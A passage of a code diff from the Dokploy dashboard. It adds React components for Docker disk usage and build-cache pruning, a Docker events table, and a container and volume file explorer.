+			href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}?tab=deployments`,
 		};
 	}
 	return null;
@@ -175,10 +178,16 @@ export function ShowDeploymentsTable() {
 					if (!info) return <span className="text-muted-foreground">—</span>;
 					return (
 						<div className="flex items-center gap-2">
-							{info.type === "Application" ? (
-								<Rocket className="size-4 text-muted-foreground shrink-0" />
+							{info.icon ? (
+								<img
+									src={info.icon}
+									alt={info.name}
+									className="size-4 object-contain shrink-0"
+								/>
+							) : info.type === "Application" ? (
+								<GlobeIcon className="size-4 text-muted-foreground shrink-0" />
 							) : (
-								<Boxes className="size-4 text-muted-foreground shrink-0" />
+								<CircuitBoard className="size-4 text-muted-foreground shrink-0" />
 							)}
 							<div className="flex flex-col min-w-0">
 								<span className="font-medium truncate">{info.name}</span>

apps/dokploy/components/dashboard/docker/disk-usage/show-disk-usage.tsx

@@ -0,0 +1,428 @@
+"use client";
+
+import {
+	type ColumnDef,
+	flexRender,
+	getCoreRowModel,
+	getPaginationRowModel,
+	getSortedRowModel,
+	type PaginationState,
+	type SortingState,
+	useReactTable,
+} from "@tanstack/react-table";
+import type { inferRouterOutputs } from "@trpc/server";
+import {
+	ArrowUpDown,
+	Boxes,
+	Database,
+	Gauge,
+	HardDrive,
+	Layers,
+	Loader2,
+	type LucideIcon,
+	Trash2,
+} from "lucide-react";
+import { useMemo, useState } from "react";
+import { toast } from "sonner";
+import { DialogAction } from "@/components/shared/dialog-action";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Card,
+	CardContent,
+	CardDescription,
+	CardHeader,
+	CardTitle,
+} from "@/components/ui/card";
+import { Input } from "@/components/ui/input";
+import {
+	Table,
+	TableBody,
+	TableCell,
+	TableHead,
+	TableHeader,
+	TableRow,
+} from "@/components/ui/table";
+import type { AppRouter } from "@/server/api/root";
+import { api } from "@/utils/api";
+
+type DiskUsageItem =
+	inferRouterOutputs<AppRouter>["dockerDiskUsage"]["getDiskUsage"][number];
+type BuildCacheBase =
+	inferRouterOutputs<AppRouter>["dockerDiskUsage"]["getBuildCache"][number];
+type BuildCacheRow = BuildCacheBase & { key: string };
+
+interface Props {
+	serverId?: string;
+}
+
+const STAT_CARDS: { type: string; title: string; icon: LucideIcon }[] = [
+	{ type: "Images", title: "Images", icon: Layers },
+	{ type: "Containers", title: "Containers", icon: Boxes },
+	{ type: "Local Volumes", title: "Volumes", icon: HardDrive },
+	{ type: "Build Cache", title: "Build Cache", icon: Database },
+];
+
+const SortableHeader = ({
+	column,
+	title,
+}: {
+	column: {
+		getIsSorted: () => false | "asc" | "desc";
+		toggleSorting: (asc: boolean) => void;
+	};
+	title: string;
+}) => (
+	<Button
+		variant="ghost"
+		className="-ml-3 h-8"
+		onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
+	>
+		{title}
+		<ArrowUpDown className="ml-2 size-4" />
+	</Button>
+);
+
+const StatCard = ({
+	icon: Icon,
+	title,
+	item,
+	isLoading,
+}: {
+	icon: LucideIcon;
+	title: string;
+	item?: DiskUsageItem;
+	isLoading: boolean;
+}) => (
+	<Card className="p-4">
+		<div className="flex items-center gap-2 text-sm text-muted-foreground">
+			<Icon className="size-4" />
+			{title}
+		</div>
+		{isLoading ? (
+			<div className="mt-3 flex items-center gap-2 text-sm text-muted-foreground">
+				<Loader2 className="size-4 animate-spin" />
+			</div>
+		) : (
+			<>
+				<div className="mt-2 text-2xl font-semibold">{item?.size ?? "-"}</div>
+				<div className="mt-1 flex flex-wrap gap-x-3 text-xs text-muted-foreground">
+					<span>{item?.totalCount ?? 0} total</span>
+					<span>{item?.active ?? 0} active</span>
+					<span>{item?.reclaimable ?? "-"} reclaimable</span>
+				</div>
+			</>
+		)}
+	</Card>
+);
+
+export const ShowDiskUsage = ({ serverId }: Props) => {
+	const utils = api.useUtils();
+	const [sorting, setSorting] = useState<SortingState>([
+		{ id: "Size", desc: true },
+	]);
+	const [globalFilter, setGlobalFilter] = useState("");
+	const [pagination, setPagination] = useState<PaginationState>({
+		pageIndex: 0,
+		pageSize: 10,
+	});
+
+	const { data: diskUsage, isLoading: isLoadingDiskUsage } =
+		api.dockerDiskUsage.getDiskUsage.useQuery({ serverId });
+	const { data: buildCache, isLoading: isLoadingBuildCache } =
+		api.dockerDiskUsage.getBuildCache.useQuery({ serverId });
+	const { mutateAsync: pruneBuildCache, isPending: isPruning } =
+		api.dockerDiskUsage.pruneBuildCache.useMutation();
+
+	const usageByType = useMemo(
+		() => new Map((diskUsage ?? []).map((item) => [item.type, item])),
+		[diskUsage],
+	);
+
+	const rows = useMemo<BuildCacheRow[]>(
+		() =>
+			(buildCache ?? []).map((entry) => ({
+				...entry,
+				key: entry.id,
+			})),
+		[buildCache],
+	);
+
+	const filteredData = useMemo(() => {
+		if (!globalFilter.trim()) {
+			return rows;
+		}
+		const query = globalFilter.toLowerCase();
+		return rows.filter(
+			(entry) =>
+				entry.id.toLowerCase().includes(query) ||
+				entry.description.toLowerCase().includes(query) ||
+				entry.type.toLowerCase().includes(query),
+		);
+	}, [rows, globalFilter]);
+
+	const handlePrune = async () => {
+		try {
+			await pruneBuildCache({ serverId });
+			toast.success("Build cache pruned");
+			await Promise.all([
+				utils.dockerDiskUsage.getBuildCache.invalidate(),
+				utils.dockerDiskUsage.getDiskUsage.invalidate(),
+			]);
+		} catch (error) {
+			toast.error("Error pruning build cache", {
+				description: error instanceof Error ? error.message : "Unknown error",
+			});
+		}
+	};
+
+	const columns = useMemo<ColumnDef<BuildCacheRow>[]>(
+		() => [
+			{
+				accessorKey: "id",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Cache ID" />
+				),
+				cell: ({ row }) => (
+					<span className="font-mono text-xs text-muted-foreground">
+						{row.original.id.slice(0, 16)}
+					</span>
+				),
+			},
+			{
+				accessorKey: "type",
+				header: ({ column }) => <SortableHeader column={column} title="Type" />,
+				cell: ({ row }) => <Badge variant="outline">{row.original.type}</Badge>,
+			},
+			{
+				accessorKey: "description",
+				header: "Description",
+				enableSorting: false,
+				cell: ({ row }) => (
+					<div
+						className="max-w-[360px] truncate text-xs text-muted-foreground"
+						title={row.original.description}
+					>
+						{row.original.description || "-"}
+					</div>
+				),
+			},
+			{
+				id: "Size",
+				accessorFn: (entry) => entry.sizeBytes,
+				header: ({ column }) => <SortableHeader column={column} title="Size" />,
+				cell: ({ row }) => (
+					<span className="text-muted-foreground">{row.original.size}</span>
+				),
+			},
+			{
+				id: "created",
+				accessorKey: "createdSince",
+				header: "Created",
+				enableSorting: false,
+				cell: ({ row }) => (
+					<span className="text-xs text-muted-foreground whitespace-nowrap">
+						{row.original.createdSince}
+					</span>
+				),
+			},
+			{
+				id: "lastUsed",
+				accessorKey: "lastUsedSince",
+				header: "Last Used",
+				enableSorting: false,
+				cell: ({ row }) => (
+					<span className="text-xs text-muted-foreground whitespace-nowrap">
+						{row.original.lastUsedSince}
+					</span>
+				),
+			},
+			{
+				accessorKey: "usageCount",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Usage" />
+				),
+				cell: ({ row }) => (
+					<span className="text-muted-foreground">
+						{row.original.usageCount}
+					</span>
+				),
+			},
+			{
+				id: "flags",
+				enableSorting: false,
+				header: "Flags",
+				cell: ({ row }) => (
+					<div className="flex gap-1">
+						{row.original.inUse && <Badge variant="blue">In use</Badge>}
+						{row.original.shared && <Badge variant="outline">Shared</Badge>}
+					</div>
+				),
+			},
+		],
+		[],
+	);
+
+	const table = useReactTable({
+		data: filteredData,
+		columns,
+		getRowId: (row) => row.key,
+		state: {
+			sorting,
+			pagination,
+		},
+		onSortingChange: setSorting,
+		onPaginationChange: setPagination,
+		getCoreRowModel: getCoreRowModel(),
+		getSortedRowModel: getSortedRowModel(),
+		getPaginationRowModel: getPaginationRowModel(),
+	});
+
+	return (
+		<div className="w-full space-y-4">
+			<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-4">
+				{STAT_CARDS.map((stat) => (
+					<StatCard
+						key={stat.type}
+						icon={stat.icon}
+						title={stat.title}
+						item={usageByType.get(stat.type)}
+						isLoading={isLoadingDiskUsage}
+					/>
+				))}
+			</div>
+			<Card className="h-full bg-sidebar p-2.5 rounded-xl">
+				<div className="rounded-xl bg-background shadow-md">
+					<CardHeader>
+						<div className="flex flex-wrap items-center justify-between gap-2">
+							<div>
+								<CardTitle className="text-xl flex flex-row gap-2">
+									<Gauge className="size-6 text-muted-foreground self-center" />
+									Build Cache
+								</CardTitle>
+								<CardDescription>
+									Cache layers kept by the Docker builder on the selected
+									server.
+								</CardDescription>
+							</div>
+							<DialogAction
+								title="Prune build cache"
+								description="This will remove all build cache entries that are not currently in use. This action cannot be undone."
+								onClick={handlePrune}
+								disabled={isPruning}
+							>
+								<Button variant="outline" size="sm" disabled={isPruning}>
+									<Trash2 className="size-4 mr-1" />
+									Prune build cache
+								</Button>
+							</DialogAction>
+						</div>
+					</CardHeader>
+					<CardContent className="space-y-4 py-8 border-t">
+						{isLoadingBuildCache ? (
+							<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
+								<span>Loading...</span>
+								<Loader2 className="animate-spin size-4" />
+							</div>
+						) : !buildCache?.length ? (
+							<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
+								<div className="rounded-full bg-muted p-4">
+									<Database className="size-10 text-muted-foreground" />
+								</div>
+								<div className="space-y-1 text-center">
+									<p className="text-sm font-medium">No build cache found</p>
+									<p className="max-w-sm text-sm text-muted-foreground">
+										Layers cached by "docker build" on this server will appear
+										here.
+									</p>
+								</div>
+							</div>
+						) : (
+							<>
+								<div className="flex flex-wrap items-center gap-2">
+									<Input
+										placeholder="Search by id, type or description..."
+										value={globalFilter}
+										onChange={(e) => setGlobalFilter(e.target.value)}
+										className="max-w-xs"
+									/>
+								</div>
+								<div className="rounded-md border overflow-x-auto">
+									<Table>
+										<TableHeader>
+											{table.getHeaderGroups().map((headerGroup) => (
+												<TableRow key={headerGroup.id}>
+													{headerGroup.headers.map((header) => (
+														<TableHead key={header.id}>
+															{header.isPlaceholder
+																? null
+																: flexRender(
+																		header.column.columnDef.header,
+																		header.getContext(),
+																	)}
+														</TableHead>
+													))}
+												</TableRow>
+											))}
+										</TableHeader>
+										<TableBody>
+											{table.getRowModel().rows?.length ? (
+												table.getRowModel().rows.map((row) => (
+													<TableRow key={row.id}>
+														{row.getVisibleCells().map((cell) => (
+															<TableCell key={cell.id}>
+																{flexRender(
+																	cell.column.columnDef.cell,
+																	cell.getContext(),
+																)}
+															</TableCell>
+														))}
+													</TableRow>
+												))
+											) : (
+												<TableRow>
+													<TableCell
+														colSpan={columns.length}
+														className="h-24 text-center text-muted-foreground"
+													>
+														No build cache entries match your filters.
+													</TableCell>
+												</TableRow>
+											)}
+										</TableBody>
+									</Table>
+								</div>
+								{table.getPageCount() > 1 && (
+									<div className="flex items-center justify-end gap-4">
+										<span className="text-sm text-muted-foreground">
+											Page {table.getState().pagination.pageIndex + 1} of{" "}
+											{table.getPageCount()}
+										</span>
+										<div className="flex gap-2">
+											<Button
+												variant="outline"
+												size="sm"
+												onClick={() => table.previousPage()}
+												disabled={!table.getCanPreviousPage()}
+											>
+												Previous
+											</Button>
+											<Button
+												variant="outline"
+												size="sm"
+												onClick={() => table.nextPage()}
+												disabled={!table.getCanNextPage()}
+											>
+												Next
+											</Button>
+										</div>
+									</div>
+								)}
+							</>
+						)}
+					</CardContent>
+				</div>
+			</Card>
+		</div>
+	);
+};

apps/dokploy/components/dashboard/docker/events/show-docker-events.tsx

@@ -0,0 +1,425 @@
+import {
+	type ColumnDef,
+	flexRender,
+	getCoreRowModel,
+	getPaginationRowModel,
+	getSortedRowModel,
+	type PaginationState,
+	type SortingState,
+	useReactTable,
+} from "@tanstack/react-table";
+import { Activity, ArrowUpDown, Loader2, RefreshCw } from "lucide-react";
+import { useMemo, useState } from "react";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Card,
+	CardContent,
+	CardDescription,
+	CardHeader,
+	CardTitle,
+} from "@/components/ui/card";
+import { Input } from "@/components/ui/input";
+import {
+	Select,
+	SelectContent,
+	SelectItem,
+	SelectTrigger,
+	SelectValue,
+} from "@/components/ui/select";
+import {
+	Table,
+	TableBody,
+	TableCell,
+	TableHead,
+	TableHeader,
+	TableRow,
+} from "@/components/ui/table";
+import { api, type RouterOutputs } from "@/utils/api";
+
+interface Props {
+	serverId?: string;
+}
+
+type DockerEvent = RouterOutputs["docker"]["getEvents"]["events"][number];
+type EventRow = DockerEvent & { key: string };
+
+const RANGE_OPTIONS = [
+	{ label: "Last 5 minutes", value: 5 },
+	{ label: "Last 15 minutes", value: 15 },
+	{ label: "Last hour", value: 60 },
+	{ label: "Last 6 hours", value: 360 },
+	{ label: "Last 24 hours", value: 1440 },
+];
+
+type BadgeVariant = "blue" | "green" | "yellow" | "orange" | "red" | "blank";
+
+const TYPE_VARIANTS: Record<string, BadgeVariant> = {
+	container: "blue",
+	image: "green",
+	volume: "yellow",
+	network: "orange",
+	service: "blue",
+	node: "orange",
+};
+
+const ACTION_VARIANTS: Record<string, BadgeVariant> = {
+	create: "green",
+	start: "green",
+	pull: "green",
+	connect: "green",
+	die: "red",
+	destroy: "red",
+	kill: "red",
+	stop: "red",
+	remove: "red",
+	disconnect: "red",
+	pause: "yellow",
+	unpause: "yellow",
+};
+
+const getTypeVariant = (type?: string): BadgeVariant =>
+	(type && TYPE_VARIANTS[type]) || "blank";
+
+const getActionVariant = (action?: string): BadgeVariant =>
+	(action && ACTION_VARIANTS[action]) || "blank";
+
+const getResource = (event: DockerEvent) =>
+	event.Actor?.Attributes?.name ?? event.Actor?.ID ?? "-";
+
+const getAttributesText = (event: DockerEvent) => {
+	const attributes = Object.entries(event.Actor?.Attributes ?? {}).filter(
+		([key]) => key !== "name",
+	);
+	return attributes.map(([key, value]) => `${key}=${value}`).join(" ") || "-";
+};
+
+const SortableHeader = ({
+	column,
+	title,
+}: {
+	column: {
+		getIsSorted: () => false | "asc" | "desc";
+		toggleSorting: (asc: boolean) => void;
+	};
+	title: string;
+}) => (
+	<Button
+		variant="ghost"
+		className="-ml-3 h-8"
+		onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
+	>
+		{title}
+		<ArrowUpDown className="ml-2 size-4" />
+	</Button>
+);
+
+export const ShowDockerEvents = ({ serverId }: Props) => {
+	const [minutes, setMinutes] = useState(15);
+	const [search, setSearch] = useState("");
+	const [sorting, setSorting] = useState<SortingState>([
+		{ id: "time", desc: true },
+	]);
+	const [pagination, setPagination] = useState<PaginationState>({
+		pageIndex: 0,
+		pageSize: 15,
+	});
+
+	const { data, isLoading, isRefetching, refetch, error } =
+		api.docker.getEvents.useQuery({
+			serverId,
+			minutes,
+		});
+
+	const events = useMemo<EventRow[]>(
+		() =>
+			(data?.events ?? []).map((event, index) => ({
+				...event,
+				key: `${event.time}-${event.Action}-${index}`,
+			})),
+		[data],
+	);
+
+	const filteredEvents = useMemo(() => {
+		if (!search.trim()) return events;
+		const query = search.toLowerCase();
+		return events.filter((event) => {
+			return (
+				event.Type?.toLowerCase().includes(query) ||
+				event.Action?.toLowerCase().includes(query) ||
+				event.Actor?.Attributes?.name?.toLowerCase().includes(query) ||
+				event.Actor?.ID?.toLowerCase().includes(query)
+			);
+		});
+	}, [events, search]);
+
+	const columns = useMemo<ColumnDef<EventRow>[]>(
+		() => [
+			{
+				id: "time",
+				accessorFn: (event) => event.time ?? 0,
+				header: ({ column }) => <SortableHeader column={column} title="Time" />,
+				cell: ({ row }) => (
+					<span className="text-xs text-muted-foreground whitespace-nowrap">
+						{row.original.time
+							? new Date(row.original.time * 1000).toLocaleTimeString()
+							: "-"}
+					</span>
+				),
+			},
+			{
+				id: "type",
+				accessorFn: (event) => event.Type ?? "",
+				header: ({ column }) => <SortableHeader column={column} title="Type" />,
+				cell: ({ row }) => (
+					<Badge variant={getTypeVariant(row.original.Type)}>
+						{row.original.Type ?? "unknown"}
+					</Badge>
+				),
+			},
+			{
+				id: "action",
+				accessorFn: (event) => event.Action ?? "",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Action" />
+				),
+				cell: ({ row }) => (
+					<Badge variant={getActionVariant(row.original.Action)}>
+						{row.original.Action ?? "-"}
+					</Badge>
+				),
+			},
+			{
+				id: "resource",
+				accessorFn: (event) => getResource(event),
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Resource" />
+				),
+				cell: ({ row }) => {
+					const resource = getResource(row.original);
+					return (
+						<div
+							className="max-w-[220px] truncate font-mono text-xs"
+							title={resource}
+						>
+							{resource}
+						</div>
+					);
+				},
+			},
+			{
+				id: "attributes",
+				accessorFn: (event) => getAttributesText(event),
+				header: "Attributes",
+				enableSorting: false,
+				cell: ({ row }) => {
+					const attributesText = getAttributesText(row.original);
+					return (
+						<div
+							className="max-w-[360px] truncate text-xs text-muted-foreground"
+							title={attributesText}
+						>
+							{attributesText}
+						</div>
+					);
+				},
+			},
+		],
+		[],
+	);
+
+	const table = useReactTable({
+		data: filteredEvents,
+		columns,
+		getRowId: (row) => row.key,
+		state: {
+			sorting,
+			pagination,
+		},
+		onSortingChange: setSorting,
+		onPaginationChange: setPagination,
+		getCoreRowModel: getCoreRowModel(),
+		getSortedRowModel: getSortedRowModel(),
+		getPaginationRowModel: getPaginationRowModel(),
+	});
+
+	return (
+		<div className="w-full">
+			<Card className="h-full bg-sidebar p-2.5 rounded-xl">
+				<div className="rounded-xl bg-background shadow-md">
+					<CardHeader>
+						<div className="flex flex-wrap items-center justify-between gap-2">
+							<div>
+								<CardTitle className="text-xl flex flex-row gap-2">
+									<Activity className="size-6 text-muted-foreground self-center" />
+									Docker Events
+								</CardTitle>
+								<CardDescription>
+									Events reported by the Docker daemon, equivalent to running
+									"docker events".
+								</CardDescription>
+							</div>
+							<Button
+								variant="outline"
+								size="sm"
+								onClick={() => refetch()}
+								disabled={isRefetching}
+							>
+								<RefreshCw
+									className={`size-4 mr-1 ${isRefetching ? "animate-spin" : ""}`}
+								/>
+								Refresh
+							</Button>
+						</div>
+					</CardHeader>
+					<CardContent className="space-y-4 py-8 border-t">
+						{error && (
+							<p className="text-sm text-destructive">{error.message}</p>
+						)}
+						<div className="flex flex-wrap items-center gap-2">
+							<Input
+								placeholder="Filter by type, action or name..."
+								value={search}
+								onChange={(e) => {
+									setSearch(e.target.value);
+									setPagination((prev) => ({ ...prev, pageIndex: 0 }));
+								}}
+								className="max-w-xs"
+							/>
+							<Select
+								value={String(minutes)}
+								onValueChange={(value) => setMinutes(Number(value))}
+							>
+								<SelectTrigger className="w-[180px]">
+									<SelectValue />
+								</SelectTrigger>
+								<SelectContent>
+									{RANGE_OPTIONS.map((option) => (
+										<SelectItem key={option.value} value={String(option.value)}>
+											{option.label}
+										</SelectItem>
+									))}
+								</SelectContent>
+							</Select>
+						</div>
+						<div className="rounded-md border overflow-x-auto">
+							<Table>
+								<TableHeader>
+									{table.getHeaderGroups().map((headerGroup) => (
+										<TableRow key={headerGroup.id}>
+											{headerGroup.headers.map((header) => (
+												<TableHead key={header.id}>
+													{header.isPlaceholder
+														? null
+														: flexRender(
+																header.column.columnDef.header,
+																header.getContext(),
+															)}
+												</TableHead>
+											))}
+										</TableRow>
+									))}
+								</TableHeader>
+								<TableBody>
+									{isLoading ? (
+										<TableRow>
+											<TableCell
+												colSpan={columns.length}
+												className="h-24 text-center text-muted-foreground"
+											>
+												<div className="flex flex-row items-center justify-center gap-2">
+													<span>Loading events...</span>
+													<Loader2 className="size-4 animate-spin" />
+												</div>
+											</TableCell>
+										</TableRow>
+									) : table.getRowModel().rows?.length ? (
+										table.getRowModel().rows.map((row) => (
+											<TableRow key={row.id}>
+												{row.getVisibleCells().map((cell) => (
+													<TableCell key={cell.id}>
+														{flexRender(
+															cell.column.columnDef.cell,
+															cell.getContext(),
+														)}
+													</TableCell>
+												))}
+											</TableRow>
+										))
+									) : (
+										<TableRow>
+											<TableCell
+												colSpan={columns.length}
+												className="h-24 text-center text-muted-foreground"
+											>
+												No events found in the selected time range.
+											</TableCell>
+										</TableRow>
+									)}
+								</TableBody>
+							</Table>
+						</div>
+						{table.getPageCount() > 1 && (
+							<div className="flex items-center justify-end gap-4">
+								<span className="text-sm text-muted-foreground">
+									Page {table.getState().pagination.pageIndex + 1} of{" "}
+									{table.getPageCount()}
+								</span>
+								<div className="flex items-center gap-2">
+									<span className="text-sm text-muted-foreground">Go to</span>
+									<Input
+										type="number"
+										min={1}
+										max={table.getPageCount()}
+										defaultValue={table.getState().pagination.pageIndex + 1}
+										key={table.getState().pagination.pageIndex}
+										onKeyDown={(e) => {
+											if (e.key !== "Enter") return;
+											const value = Number(
+												(e.target as HTMLInputElement).value,
+											);
+											if (!Number.isFinite(value)) return;
+											const page = Math.min(
+												Math.max(value, 1),
+												table.getPageCount(),
+											);
+											table.setPageIndex(page - 1);
+										}}
+										onBlur={(e) => {
+											const value = Number(e.target.value);
+											if (!Number.isFinite(value)) return;
+											const page = Math.min(
+												Math.max(value, 1),
+												table.getPageCount(),
+											);
+											table.setPageIndex(page - 1);
+										}}
+										className="w-16 h-8"
+									/>
+								</div>
+								<div className="flex gap-2">
+									<Button
+										variant="outline"
+										size="sm"
+										onClick={() => table.previousPage()}
+										disabled={!table.getCanPreviousPage()}
+									>
+										Previous
+									</Button>
+									<Button
+										variant="outline"
+										size="sm"
+										onClick={() => table.nextPage()}
+										disabled={!table.getCanNextPage()}
+									>
+										Next
+									</Button>
+								</div>
+							</div>
+						)}
+					</CardContent>
+				</div>
+			</Card>
+		</div>
+	);
+};

apps/dokploy/components/dashboard/docker/files/files-explorer-modal.tsx

@@ -0,0 +1,401 @@
+import {
+	ChevronRight,
+	Download,
+	File,
+	Folder,
+	FolderOpen,
+	Loader2,
+	RefreshCw,
+	Trash2,
+} from "lucide-react";
+import { useEffect, useMemo, useState } from "react";
+import { toast } from "sonner";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { CodeEditor } from "@/components/shared/code-editor";
+import { DialogAction } from "@/components/shared/dialog-action";
+import { Button } from "@/components/ui/button";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
+import { api } from "@/utils/api";
+
+type Props = {
+	serverId?: string;
+	children?: React.ReactNode;
+	asDropdownItem?: boolean;
+} & (
+	| { containerId: string; volumeName?: undefined }
+	| { volumeName: string; containerId?: undefined }
+);
+
+const joinPath = (base: string, name: string) =>
+	base === "/" ? `/${name}` : `${base}/${name}`;
+
+const decodeBase64 = (base64: string) => {
+	const binary = atob(base64);
+	const bytes = new Uint8Array(binary.length);
+	for (let i = 0; i < binary.length; i++) {
+		bytes[i] = binary.charCodeAt(i);
+	}
+	return bytes;
+};
+
+export const FilesExplorerModal = ({
+	containerId,
+	volumeName,
+	serverId,
+	children,
+	asDropdownItem = true,
+}: Props) => {
+	const [open, setOpen] = useState(false);
+	const [path, setPath] = useState("/");
+	const [selectedFile, setSelectedFile] = useState<string | null>(null);
+	const [editorContent, setEditorContent] = useState("");
+
+	const isVolume = !!volumeName;
+	const utils = api.useUtils();
+
+	const containerEntries = api.docker.listContainerFiles.useQuery(
+		{ containerId: containerId ?? "", path, serverId },
+		{ enabled: open && !isVolume, retry: false },
+	);
+	const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery(
+		{ volumeName: volumeName ?? "", path, serverId },
+		{ enabled: open && isVolume, retry: false },
+	);
+	const {
+		data: entries,
+		isLoading: isLoadingEntries,
+		error: entriesError,
+		refetch: refetchEntries,
+		isRefetching,
+	} = isVolume ? volumeEntries : containerEntries;
+
+	const containerFile = api.docker.readContainerFile.useQuery(
+		{ containerId: containerId ?? "", path: selectedFile ?? "/", serverId },
+		{ enabled: open && !isVolume && !!selectedFile, retry: false },
+	);
+	const volumeFile = api.dockerVolume.readVolumeFile.useQuery(
+		{ volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId },
+		{ enabled: open && isVolume && !!selectedFile, retry: false },
+	);
+	const {
+		data: file,
+		isLoading: isLoadingFile,
+		error: fileError,
+		refetch: refetchFile,
+	} = isVolume ? volumeFile : containerFile;
+
+	const fileBytes = useMemo(
+		() => (file ? decodeBase64(file.content) : null),
+		[file],
+	);
+	const isBinary = useMemo(
+		() => !!fileBytes?.some((byte) => byte === 0),
+		[fileBytes],
+	);
+
+	useEffect(() => {
+		if (fileBytes && !isBinary) {
+			setEditorContent(new TextDecoder().decode(fileBytes));
+		}
+	}, [fileBytes, isBinary]);
+
+	const writeContainerFile = api.docker.writeContainerFile.useMutation();
+	const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation();
+	const deleteContainerFile = api.docker.deleteContainerFile.useMutation();
+	const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation();
+
+	const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending;
+	const isDeleting =
+		deleteContainerFile.isPending || deleteVolumeFile.isPending;
+
+	const saveFile = async () => {
+		if (!selectedFile) return;
+		try {
+			if (isVolume) {
+				await writeVolumeFile.mutateAsync({
+					volumeName,
+					path: selectedFile,
+					content: editorContent,
+					serverId,
+				});
+			} else {
+				await writeContainerFile.mutateAsync({
+					containerId: containerId ?? "",
+					path: selectedFile,
+					content: editorContent,
+					serverId,
+				});
+			}
+			toast.success("File saved");
+			refetchFile();
+		} catch (error) {
+			toast.error(
+				error instanceof Error ? error.message : "Failed to save file",
+			);
+		}
+	};
+
+	const deleteEntry = async (entryPath: string) => {
+		try {
+			if (isVolume) {
+				await deleteVolumeFile.mutateAsync({
+					volumeName,
+					path: entryPath,
+					serverId,
+				});
+				await utils.dockerVolume.listVolumeFiles.invalidate();
+			} else {
+				await deleteContainerFile.mutateAsync({
+					containerId: containerId ?? "",
+					path: entryPath,
+					serverId,
+				});
+				await utils.docker.listContainerFiles.invalidate();
+			}
+			toast.success("Deleted");
+			if (selectedFile === entryPath) {
+				setSelectedFile(null);
+			}
+		} catch (error) {
+			toast.error(error instanceof Error ? error.message : "Failed to delete");
+		}
+	};
+
+	const breadcrumbs = path.split("/").filter(Boolean);
+
+	const navigate = (nextPath: string) => {
+		setPath(nextPath);
+		setSelectedFile(null);
+	};
+
+	const handleOpenChange = (value: boolean) => {
+		setOpen(value);
+		if (!value) {
+			setPath("/");
+			setSelectedFile(null);
+			setEditorContent("");
+		}
+	};
+
+	const downloadFile = () => {
+		if (!fileBytes || !selectedFile) return;
+		const blob = new Blob([fileBytes]);
+		const url = URL.createObjectURL(blob);
+		const anchor = document.createElement("a");
+		anchor.href = url;
+		anchor.download = selectedFile.split("/").pop() ?? "file";
+		anchor.click();
+		URL.revokeObjectURL(url);
+	};
+
+	return (
+		<Dialog open={open} onOpenChange={handleOpenChange}>
+			<DialogTrigger asChild>
+				{asDropdownItem ? (
+					<DropdownMenuItem
+						className="w-full cursor-pointer space-x-3"
+						onSelect={(e) => e.preventDefault()}
+					>
+						{children}
+					</DropdownMenuItem>
+				) : (
+					children
+				)}
+			</DialogTrigger>
+			<DialogContent className="sm:max-w-6xl">
+				<DialogHeader>
+					<DialogTitle className="flex items-center gap-2">
+						<FolderOpen className="size-5" />
+						{isVolume ? "Volume Files" : "Container Files"}
+					</DialogTitle>
+					<DialogDescription>
+						{isVolume
+							? `Browse and edit files inside the "${volumeName}" volume`
+							: "Browse and edit files inside the container's filesystem"}
+					</DialogDescription>
+				</DialogHeader>
+
+				<div className="flex items-center gap-1 text-sm font-mono flex-wrap">
+					<button
+						type="button"
+						className="hover:underline text-muted-foreground"
+						onClick={() => navigate("/")}
+					>
+						/
+					</button>
+					{breadcrumbs.map((segment, index) => (
+						<span
+							key={`/${breadcrumbs.slice(0, index + 1).join("/")}`}
+							className="flex items-center gap-1"
+						>
+							<button
+								type="button"
+								className="hover:underline text-muted-foreground"
+								onClick={() =>
+									navigate(`/${breadcrumbs.slice(0, index + 1).join("/")}`)
+								}
+							>
+								{segment}
+							</button>
+							{index < breadcrumbs.length - 1 && (
+								<ChevronRight className="size-3 text-muted-foreground" />
+							)}
+						</span>
+					))}
+					<Button
+						variant="ghost"
+						size="icon"
+						className="ml-auto size-7"
+						onClick={() => refetchEntries()}
+					>
+						<RefreshCw
+							className={`size-4 ${isRefetching ? "animate-spin" : ""}`}
+						/>
+					</Button>
+				</div>
+
+				<div className="flex gap-4 min-h-[55vh] max-h-[65vh]">
+					<div className="w-72 shrink-0 border rounded-lg overflow-y-auto">
+						{isLoadingEntries ? (
+							<div className="flex h-full items-center justify-center gap-2 text-sm text-muted-foreground p-4">
+								<span>Loading...</span>
+								<Loader2 className="animate-spin size-4" />
+							</div>
+						) : entriesError ? (
+							<div className="p-3">
+								<AlertBlock type="error">{entriesError.message}</AlertBlock>
+							</div>
+						) : (
+							<div className="flex flex-col p-1">
+								{path !== "/" && (
+									<button
+										type="button"
+										className="flex items-center gap-2 rounded-md px-2 py-1.5 text-sm hover:bg-muted text-left"
+										onClick={() =>
+											navigate(`/${breadcrumbs.slice(0, -1).join("/")}` || "/")
+										}
+									>
+										<Folder className="size-4 shrink-0 text-muted-foreground" />
+										..
+									</button>
+								)}
+								{entries?.length === 0 && (
+									<span className="px-2 py-1.5 text-sm text-muted-foreground">
+										Empty directory
+									</span>
+								)}
+								{entries?.map((entry) => {
+									const entryPath = joinPath(path, entry.name);
+									return (
+										<div
+											key={entry.name}
+											className={`group flex items-center rounded-md hover:bg-muted ${
+												selectedFile === entryPath ? "bg-muted" : ""
+											}`}
+										>
